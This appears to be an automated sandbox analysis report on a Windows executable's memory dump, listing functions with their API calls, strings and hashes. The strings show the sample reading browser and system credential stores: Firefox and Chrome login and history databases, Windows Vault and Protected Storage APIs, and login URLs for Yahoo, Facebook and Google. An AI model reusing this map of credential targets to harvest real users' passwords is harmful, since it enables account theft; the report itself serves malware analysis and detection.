Part of subcall function 004083D6: wcscat.MSVCRT ref: 004083ED

Strings

places.sqlite, xrefs: 00410B1B, 00410B30
history.dat, xrefs: 00410A7A, 00410AB6, 00410AC8

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcslen$memsetwcscat$wcscpy
String ID: history.dat$places.sqlite
API String ID: 2541527827-467022611
Opcode ID: 25ea34a281439d809f371ac1cf7c0884433c21bdeb59f3c4b6e0df9e4197b33a
Instruction ID: 16c00ee82f17989474e920b03892a6de4e18c3fe0141c7e4295d5dc86641310b
Opcode Fuzzy Hash: 25ea34a281439d809f371ac1cf7c0884433c21bdeb59f3c4b6e0df9e4197b33a
Instruction Fuzzy Hash: 17314571D041189ADF10EBA5DC89ACDB3B8AF50319F20457FE554F2182EB7C9A84CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00411CDB, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411CFD
wcslen.MSVCRT ref: 00411D08
wcslen.MSVCRT ref: 00411D16
wcslen.MSVCRT ref: 00411D6C
wcslen.MSVCRT ref: 00411D7A

Part of subcall function 004083D6: wcscpy.MSVCRT ref: 004083DE
Part of subcall function 004083D6: wcscat.MSVCRT ref: 004083ED

Strings

Web Data, xrefs: 00411D0E, 00411D13, 00411D29
Login Data, xrefs: 00411D72, 00411D77, 00411D88

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcslen$memsetwcscatwcscpy
String ID: Login Data$Web Data
API String ID: 3932597654-4228647177
Opcode ID: 7231a64d0824cf94e0c730f6189b32a897f20d3e441a0ecaf3f9be98e6314f32
Instruction ID: 9a91d2e82c236d30763d7b9ebcc1a6cccb69c4478b10b945406aecd22e6d63c1
Opcode Fuzzy Hash: 7231a64d0824cf94e0c730f6189b32a897f20d3e441a0ecaf3f9be98e6314f32
Instruction Fuzzy Hash: 46218B7250411C6ADB10EB55EC89FDA73ACAF50328F14487FF518E3191EBBCDAC44658

Uniqueness

Uniqueness Score: -1.00%

Function 00444E7A, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00444E84
??3@YAXPAX@Z.MSVCRT ref: 00444E94
??3@YAXPAX@Z.MSVCRT ref: 00444EA4
??3@YAXPAX@Z.MSVCRT ref: 00444EB4

Strings

rm, xrefs: 00444E8A
vm, xrefs: 00444EAA

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??3@
String ID: rm$vm
API String ID: 613200358-3921693967
Opcode ID: 6dc2ae8407accaec33e914c995c073318a836f74cf280773562707ce9086f27d
Instruction ID: 83d98c8e739894f4f11ae52403c2f1a0732df397c2cb69f7507dcdbda06e161a
Opcode Fuzzy Hash: 6dc2ae8407accaec33e914c995c073318a836f74cf280773562707ce9086f27d
Instruction Fuzzy Hash: F7E04DA070030136BB20AFBAFD44B0323CC3A90793326482FB406D73D2EE2CE840A52C

Uniqueness

Uniqueness Score: -1.00%

Function 00417C9A, Relevance: 9.1, APIs: 6, Instructions: 140fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,-7FBE8982,00000003,00000000,?,?,00000000), ref: 00417D72
CreateFileA.KERNEL32(?,-7FBE8982,00000003,00000000,004175FE,004175FE,00000000), ref: 00417D8A
GetLastError.KERNEL32 ref: 00417D99
free.MSVCRT(?), ref: 00417DA6

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile$ErrorLastfree
String ID:
API String ID: 77810686-0
Opcode ID: a26124fb8da27f2cbfd9df83ebe6b72667bba8263af52734d4187cb9e803d476
Instruction ID: 35fec4397722218e6507e77f53b50855b574b2e4c8baf302a97b237cc2aa3bd3
Opcode Fuzzy Hash: a26124fb8da27f2cbfd9df83ebe6b72667bba8263af52734d4187cb9e803d476
Instruction Fuzzy Hash: D841F27150C3059FEB20CF25EC4179BBBF4EF84314F10892EF89592291D738DA848B96

Uniqueness

Uniqueness Score: -1.00%

Function 00410C87, Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00410CA3
memset.MSVCRT ref: 00410CB8

Part of subcall function 00414558: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00414592

Part of subcall function 00407DD1: wcslen.MSVCRT ref: 00407DD2
Part of subcall function 00407DD1: wcscat.MSVCRT ref: 00407DEA

wcscat.MSVCRT ref: 00410CE1

Part of subcall function 00414558: memset.MSVCRT ref: 004145B1
Part of subcall function 00414558: RegCloseKey.ADVAPI32(?), ref: 00414618
Part of subcall function 00414558: wcscpy.MSVCRT ref: 00414626

wcscat.MSVCRT ref: 00410D0A

Strings

Mozilla\Profiles, xrefs: 00410CDB
Mozilla\Firefox\Profiles, xrefs: 00410D04

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memsetwcscat$CloseFolderPathSpecialwcscpywcslen
String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
API String ID: 1534475566-1174173950
Opcode ID: 86b2fee5573bc67bc9087b08d08cdc2ad0ccfef1d6009a232684216d2b924b41
Instruction ID: 1b820a25e8b0a88a2df896ef0368420f7b9c24777a221978b2b2a3cd549cec0e
Opcode Fuzzy Hash: 86b2fee5573bc67bc9087b08d08cdc2ad0ccfef1d6009a232684216d2b924b41
Instruction Fuzzy Hash: 860152B294031C76EB20AB668C86EDB762C9F85358F0141AAB618B7142D97C9DC44AAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040B25F, Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040B299
??2@YAPAXI@Z.MSVCRT ref: 0040B2B7
??2@YAPAXI@Z.MSVCRT ref: 0040B2D5
??2@YAPAXI@Z.MSVCRT ref: 0040B2F3

Strings

rm, xrefs: 0040B2BC
vm, xrefs: 0040B2DA

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@
String ID: rm$vm
API String ID: 1033339047-3921693967
Opcode ID: 7383806280aca4e1821e19982c5cfbbe854b0cbcf0857156c862d8a82c6a6e7a
Instruction ID: 41d6ca53bbc25777d15e7d44d7af272a9a829ad4135043ac9a1f5f7c0c786f2e
Opcode Fuzzy Hash: 7383806280aca4e1821e19982c5cfbbe854b0cbcf0857156c862d8a82c6a6e7a
Instruction Fuzzy Hash: ED0112F12023007FEB69DF38ED1772A66949B95393F00413FA506CD2F6EA79D5449B08

Uniqueness

Uniqueness Score: -1.00%

Function 00414558, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004144AB: LoadLibraryW.KERNEL32(shell32.dll,0040FF7C,00000000,?,00000002,?,004448C6,00000000,?,0000000A), ref: 004144B9
Part of subcall function 004144AB: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 004144CE

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00414592
memset.MSVCRT ref: 004145B1
RegCloseKey.ADVAPI32(?), ref: 00414618
wcscpy.MSVCRT ref: 00414626

Part of subcall function 004083A1: GetVersionExW.KERNEL32(00452E28,0000001A,00414579), ref: 004083BB

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 004145CC, 004145DC

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressCloseFolderLibraryLoadPathProcSpecialVersionmemsetwcscpy
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2699640517-2036018995
Opcode ID: 1f48f7e9f744942bfd9fbef0cf09dbb4d3108d1291aa30ec74452a86fee1161f
Instruction ID: e12ff53167afe07261100608862af2d586d512a8c684a17975878dc8bda8b34c
Opcode Fuzzy Hash: 1f48f7e9f744942bfd9fbef0cf09dbb4d3108d1291aa30ec74452a86fee1161f
Instruction Fuzzy Hash: 42112B71800214BBEF20A759CC4EAEFB3BDDB85754F6100A7F914A2151E62C5FC5869E

Uniqueness

Uniqueness Score: -1.00%

Function 00413CFB, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00413D15
_snwprintf.MSVCRT ref: 00413D3A
WritePrivateProfileStringW.KERNEL32(?,?,?,0044BCA0), ref: 00413D58
GetPrivateProfileStringW.KERNEL32 ref: 00413D70

Strings

"%s", xrefs: 00413D29

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: PrivateProfileString$Write_snwprintfwcschr
String ID: "%s"
API String ID: 1343145685-3297466227
Opcode ID: 02edbd4849e356a2dd53856aa56349abaee77aee134cad8029ffbeba199e4c17
Instruction ID: 73e04fdb7293ad0563e201354ce1ff8293903967f03a71563bfd8de655adbfaf
Opcode Fuzzy Hash: 02edbd4849e356a2dd53856aa56349abaee77aee134cad8029ffbeba199e4c17
Instruction Fuzzy Hash: 2401AD3240521EBBEF229F91EC45FDB3B6AFF04745F14806ABA1854062D779C660DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041337C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloadertimeCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,0041357A,00000000,?,?,?,?,00000000,?), ref: 0041338D
GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 004133A7
GetProcessTimes.KERNELBASE(00000000,?,?,?,?,?,0041357A,00000000,?,?,?,?,00000000,?), ref: 004133CA

Strings

GetProcessTimes, xrefs: 00413397
kernel32.dll, xrefs: 00413388

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressHandleModuleProcProcessTimes
String ID: GetProcessTimes$kernel32.dll
API String ID: 1714573020-3385500049
Opcode ID: 309a91ae3d39bfd2be00db52258639a55574cbf10b15d42bee79424e3042c4b9
Instruction ID: da68f8d270a38a3c71bb0a1d73356e5427966c5ec0fa45e2ea30989c2ad8b33c
Opcode Fuzzy Hash: 309a91ae3d39bfd2be00db52258639a55574cbf10b15d42bee79424e3042c4b9
Instruction Fuzzy Hash: 41F01535140208AFEF108F91EC44B9A7BA9AB08B86F404026FE18C1162CB75DAA0DB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0041EAC1, Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0041EB1E
memcmp.MSVCRT ref: 0041EB49
memcmp.MSVCRT ref: 0041EBB5

Strings

SQLite format 3, xrefs: 0041EB3C
@ , xrefs: 0041EBAF

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcmp
String ID: @ $SQLite format 3
API String ID: 1475443563-3708268960
Opcode ID: e922d6e76d25ca0bc981f6f0caf64cc85a23792da3e792978c200f14c15407ff
Instruction ID: 378f5b88a64b421c164fea27eec5394a6c1f6cf5fd0cfe57e22cb817cc3972c5
Opcode Fuzzy Hash: e922d6e76d25ca0bc981f6f0caf64cc85a23792da3e792978c200f14c15407ff
Instruction Fuzzy Hash: 4E51C1B59002059BDF14DF6AC8817DAB7F4AF54314F15019BEC04EB34AE778EA85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00409EB7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00409A23: OpenProcess.KERNEL32(00000040,00000000,?,00000104,00000000,?,00000104,00000000,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat), ref: 00409A98
Part of subcall function 00409A23: GetCurrentProcess.KERNEL32(00000000,80000000,00000000,00000000), ref: 00409AB7
Part of subcall function 00409A23: DuplicateHandle.KERNELBASE(00000000,00000104,00000000), ref: 00409AC4
Part of subcall function 00409A23: GetFileSize.KERNEL32(00000000,00000000), ref: 00409AD9
Part of subcall function 00409A23: CreateFileMappingW.KERNELBASE(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00409B03
Part of subcall function 00409A23: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 00409B18
Part of subcall function 00409A23: WriteFile.KERNELBASE(?,00000000,00000104,0040A0FE,00000000), ref: 00409B33
Part of subcall function 00409A23: UnmapViewOfFile.KERNEL32(00000000), ref: 00409B3A
Part of subcall function 00409A23: FindCloseChangeNotification.KERNELBASE(?), ref: 00409B43

FindCloseChangeNotification.KERNELBASE(000000FF,000000FF,00000000,?,0040A0FE,000000FF,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat), ref: 00409F87

Part of subcall function 00409CB0: memset.MSVCRT ref: 00409D85
Part of subcall function 00409CB0: wcschr.MSVCRT ref: 00409DBD
Part of subcall function 00409CB0: memcpy.MSVCRT ref: 00409DF1

DeleteFileW.KERNELBASE(?,?,0040A0FE,000000FF,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat), ref: 00409FA8
CloseHandle.KERNEL32(000000FF,?,0040A0FE,000000FF,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat), ref: 00409FCF

Part of subcall function 00409B7A: memset.MSVCRT ref: 00409BC2
Part of subcall function 00409B7A: _snwprintf.MSVCRT ref: 00409C5C
Part of subcall function 00409B7A: free.MSVCRT(000000FF,?,000000FF,00000000,00000104,7519F560), ref: 00409C90

Strings

Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 00409EC7

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Close$ChangeFindHandleNotificationProcessViewmemset$CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintffreememcpywcschr
String ID: Microsoft\Windows\WebCache\WebCacheV01.dat
API String ID: 3931293568-1514811420
Opcode ID: eeb481b1dff4e993c2893e9f0026ff803c1a702ff2030c6be45b7232c18bb5a2
Instruction ID: 3f51e9d3f4722dee63ca69fa5b044a2e48b650b6030bfe0f748ec1b1a5da80f7
Opcode Fuzzy Hash: eeb481b1dff4e993c2893e9f0026ff803c1a702ff2030c6be45b7232c18bb5a2
Instruction Fuzzy Hash: 65311CB1C006589BCF60DFA5CD855CDF7B8AF40314F1002AB9519F31A2DB755E858F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040E903, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0040E924
qsort.MSVCRT ref: 0040E9CE

Strings

/nosort, xrefs: 0040E984
/sort, xrefs: 0040E91F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcsicmpqsort
String ID: /nosort$/sort
API String ID: 1579243037-1578091866
Opcode ID: c14f26a3bd4bd4d31eab25ef7948187d43d10632211a5499f155237dcc845ca2
Instruction ID: da88191f08b8b868428b3ed71d9c82d207ce8b6ace4e6628c3e2187065429015
Opcode Fuzzy Hash: c14f26a3bd4bd4d31eab25ef7948187d43d10632211a5499f155237dcc845ca2
Instruction Fuzzy Hash: 7521F271700502AFD714FF36C981A5AB3A9FF95304B01097FE459A72D2CB7ABC218B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADD0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00413ACB: FreeLibrary.KERNELBASE(?,0040ADDC), ref: 00413AD7

LoadLibraryW.KERNELBASE(pstorec.dll), ref: 0040ADE1
GetProcAddress.KERNEL32(00000000,PStoreCreateInstance), ref: 0040ADF4

Strings

pstorec.dll, xrefs: 0040ADDC
PStoreCreateInstance, xrefs: 0040ADEE

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: PStoreCreateInstance$pstorec.dll
API String ID: 145871493-2881415372
Opcode ID: fdc831568e2784af9de8c5a906fe078fe08317c6051ed8042a8c169ffd09e9de
Instruction ID: 165486c3e6602412b12b5041488cd1e6311a4fd56e7abe132b6c53b1702dbca2
Opcode Fuzzy Hash: fdc831568e2784af9de8c5a906fe078fe08317c6051ed8042a8c169ffd09e9de
Instruction Fuzzy Hash: D8F0E2302807125BEB206F76DC06B9B32D8AF44B4AF10C43EA052D55C1EBBCD4808B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0043A0F8, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 967COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0043A13B
memset.MSVCRT ref: 0043A4E4

Strings

only a single result allowed for a SELECT that is part of an expression, xrefs: 0043A1CA

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset
String ID: only a single result allowed for a SELECT that is part of an expression
API String ID: 2221118986-1725073988
Opcode ID: a02f6a0a02fcd16c7aa4dd96e86c2c528519a914f69e8e6aa23dcbcbdf6080a7
Instruction ID: e3eeb75a8af282f970fbf78469263b11f6465a284568bf7e48a5e115ce459d1a
Opcode Fuzzy Hash: a02f6a0a02fcd16c7aa4dd96e86c2c528519a914f69e8e6aa23dcbcbdf6080a7
Instruction Fuzzy Hash: F1828771A00208AFDF24DF69C881AAE7BA1FF08314F14411AFD559B3A2D77AEC51CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004444B7, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 004443B0: LoadLibraryW.KERNELBASE(vaultcli.dll,?,00000000), ref: 004443BD
Part of subcall function 004443B0: GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 004443D2
Part of subcall function 004443B0: GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 004443DF
Part of subcall function 004443B0: GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 004443EC
Part of subcall function 004443B0: GetProcAddress.KERNEL32(00000000,VaultFree), ref: 004443F9
Part of subcall function 004443B0: GetProcAddress.KERNEL32(00000000,VaultGetInformation), ref: 00444406
Part of subcall function 004443B0: GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 00444414
Part of subcall function 004443B0: GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 0044441D

memcmp.MSVCRT ref: 0044455D

Strings

$, xrefs: 00444531
8, xrefs: 00444523

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$LibraryLoadmemcmp
String ID: $$8
API String ID: 2708812716-435121686
Opcode ID: 201099f9feb607c4c8b0fa66378feea82f4e3e51204f541575a2dd3d377ec3c8
Instruction ID: 4b210d59022fde833576912f2e87238d6fd1d6b03e73e285368f71a5ac649bda
Opcode Fuzzy Hash: 201099f9feb607c4c8b0fa66378feea82f4e3e51204f541575a2dd3d377ec3c8
Instruction Fuzzy Hash: 73411171E00609ABEF10DF95C981BAFB7F4AF88714F11055AE915B3341DB78AE448BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7DA, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 00403C2A: LoadLibraryW.KERNEL32(advapi32.dll,?,0040A9C2,?,https://login.yahoo.com/config/login,00000000,http://www.facebook.com/,00000000,https://www.google.com/accounts/servicelogin,00000000,?,00000000,?,00411E75,?,?), ref: 00403C35
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00403C49
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00403C55
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptCreateHash), ref: 00403C61
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptGetHashParam), ref: 00403C6D
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptHashData), ref: 00403C79
Part of subcall function 00403C2A: GetProcAddress.KERNEL32(?,CryptDestroyHash), ref: 00403C85

wcslen.MSVCRT ref: 0040A819
memset.MSVCRT ref: 0040A898

Strings

P5@, xrefs: 0040A850

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$LibraryLoadmemsetwcslen
String ID: P5@
API String ID: 1960736289-1192260740
Opcode ID: 20a957c6aa2ccba46100227cc7926e2e9aca7a542005eb85cce3c7ff41f048fe
Instruction ID: 9cce22c2db06112b06b017d7de527652cc15472bfd2168745658b7e1f8ccbd38
Opcode Fuzzy Hash: 20a957c6aa2ccba46100227cc7926e2e9aca7a542005eb85cce3c7ff41f048fe
Instruction Fuzzy Hash: CC31D272500208AFDF10EFA4CC85DEE77B9AF48304F15887AF505F7281D638AE198B66

Uniqueness

Uniqueness Score: -1.00%

Function 00416F08, Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416E8B: SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00416EAC
Part of subcall function 00416E8B: GetLastError.KERNEL32 ref: 00416EBD
Part of subcall function 00416E8B: GetLastError.KERNEL32 ref: 00416EC3

ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00416F38
GetLastError.KERNEL32 ref: 00416F42

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast$File$PointerRead
String ID:
API String ID: 839530781-0
Opcode ID: 3e8702d37d071127fc233bfbf67a625d2feb83188ba54958d653ceabaac702fa
Instruction ID: add61fd64035c303a46c69afbbac6c0b4560a134b5de48ff3df98cfac7bf87f9
Opcode Fuzzy Hash: 3e8702d37d071127fc233bfbf67a625d2feb83188ba54958d653ceabaac702fa
Instruction Fuzzy Hash: 2D01AD3A208208BBEB108F65EC45FEA3B6CEF053A4F114426F908C6250D724EC9186E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A37F, Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

Strings

index.dat, xrefs: 0040A3E3
*.*, xrefs: 0040A3AA

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcslen$FileFindFirst
String ID: *.*$index.dat
API String ID: 1858513025-2863569691
Opcode ID: 9238a7d079e1375fbfde003b790de4053d9ee43c5394c8ca1f03ef328d3985c3
Instruction ID: 18b6580ac0a830e75170eb0e1623f763ef95ee80692c464e75bb199377268105
Opcode Fuzzy Hash: 9238a7d079e1375fbfde003b790de4053d9ee43c5394c8ca1f03ef328d3985c3
Instruction Fuzzy Hash: 20016D7140526859EB20EA61DC42ADE726CAF04304F5001BBA818F21C2EB789F929F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00416E8B, Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00416EAC
GetLastError.KERNEL32 ref: 00416EBD
GetLastError.KERNEL32 ref: 00416EC3

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 850b182fd2585f694b2736305c6ca07a69ca9fa842c0c1da9be3e232dd73cee9
Instruction ID: 37b1e2f091545ca96408f8d6a34600ec4a403a46a608ba1f9fdc83bbdb8077e2
Opcode Fuzzy Hash: 850b182fd2585f694b2736305c6ca07a69ca9fa842c0c1da9be3e232dd73cee9
Instruction Fuzzy Hash: F4F06536914619BBCF009F74DC009EA7BE8EB05361B104726F832D62D1E731EE419A94

Uniqueness

Uniqueness Score: -1.00%

Function 004080FD, Relevance: 4.5, APIs: 3, Instructions: 26COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,?), ref: 00408114
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00408126
GetTempFileNameW.KERNELBASE(?,004029F6,00000000,?), ref: 0040813D

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Temp$DirectoryFileNamePathWindows
String ID:
API String ID: 1125800050-0
Opcode ID: cd2f3735bba2878a79e9f19a3eb817c818f21bd1f1f6eaeb7cc68637a741f96c
Instruction ID: a19870345f686364ec187dd7d23bdf0954ef371c81d74b5a6631b0975d4c9c24
Opcode Fuzzy Hash: cd2f3735bba2878a79e9f19a3eb817c818f21bd1f1f6eaeb7cc68637a741f96c
Instruction Fuzzy Hash: BDE0927A900328BBDF205B60DC0CFCB377CEF46304F000070B945E6152EA7896888BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004080AC, Relevance: 3.8, APIs: 3, Instructions: 38COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 004080C8
memcpy.MSVCRT ref: 004080E0
free.MSVCRT(00000000,00000000,?,00408F0C,00000002,?,00000000,?,0040923F,00000000,?,00000000), ref: 004080E9

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: freemallocmemcpy
String ID:
API String ID: 3056473165-0
Opcode ID: b35ef3f807938d4c0a098e15bd5b29d1098e3b6b761d1f171dd30fe06938ab32
Instruction ID: 78eaf63d8c2f3f9895426ca65e1500e544e2a4a90d5a49d0f549448db46f5a47
Opcode Fuzzy Hash: b35ef3f807938d4c0a098e15bd5b29d1098e3b6b761d1f171dd30fe06938ab32
Instruction Fuzzy Hash: 50F0E2726052229FD718EE75BA8180BB39DAF85364712883FF444E3282DF3C9C44C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040897D, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,CCD,00000000,00000000,?,?,00444343,00000000,00000000), ref: 00408994

Strings

CCD, xrefs: 0040898B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: CCD
API String ID: 2738559852-662205380
Opcode ID: 95fe6112964d8fece6e22643851d15c8512762a174cc85b994d828cd4959b37f
Instruction ID: 69216e87a8676b039392231de9c3b52b74dec2ebcb54b9129181f8e0c6c75afe
Opcode Fuzzy Hash: 95fe6112964d8fece6e22643851d15c8512762a174cc85b994d828cd4959b37f
Instruction Fuzzy Hash: 6CD0C93541020DFBDF01CF80DC06FDD7BBDEB05359F108054BA0095160C7759A10AB54

Uniqueness

Uniqueness Score: -1.00%

Function 00436ADD, Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 242COMMON

Download Yara Rule

Strings

d, xrefs: 00436C9D

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 1fd727ad53d425ac56898d5db501f985a94b18c2406f6c0ea4919df52ecebf60
Instruction ID: fc4515617b89e60a19d50c15f4f69ae244da8edec6c232cce581781c6edd6396
Opcode Fuzzy Hash: 1fd727ad53d425ac56898d5db501f985a94b18c2406f6c0ea4919df52ecebf60
Instruction Fuzzy Hash: 5981B031608312AFCB10DF19D84165FBBE0EF88718F12992FF8949B251D778DA45CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041E7EE, Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041E89C

Strings

BINARY, xrefs: 0041E7FA

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset
String ID: BINARY
API String ID: 2221118986-907554435
Opcode ID: d19efc801e877f0ce795817df0e0cc72f0fc1a5f5a7d27e56dc3ca5837767e46
Instruction ID: 80603cce4df8086f4253f53369ac634731a2704b4a2dc635bb3c7b15e71801b6
Opcode Fuzzy Hash: d19efc801e877f0ce795817df0e0cc72f0fc1a5f5a7d27e56dc3ca5837767e46
Instruction Fuzzy Hash: B951AD75A043459FDB21DF2AC881BEA7BE4EF48350F14446AEC89CB341D738D980CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD37, Relevance: 3.1, APIs: 2, Instructions: 140COMMON

Download Yara Rule

APIs

